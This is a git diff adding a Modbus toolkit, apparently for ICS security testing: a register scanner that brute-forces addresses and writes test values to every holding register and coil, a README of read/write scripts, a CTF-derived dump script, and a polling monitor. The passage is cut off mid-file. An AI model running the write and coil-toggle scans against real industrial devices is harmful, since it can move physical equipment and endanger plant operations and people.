write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + 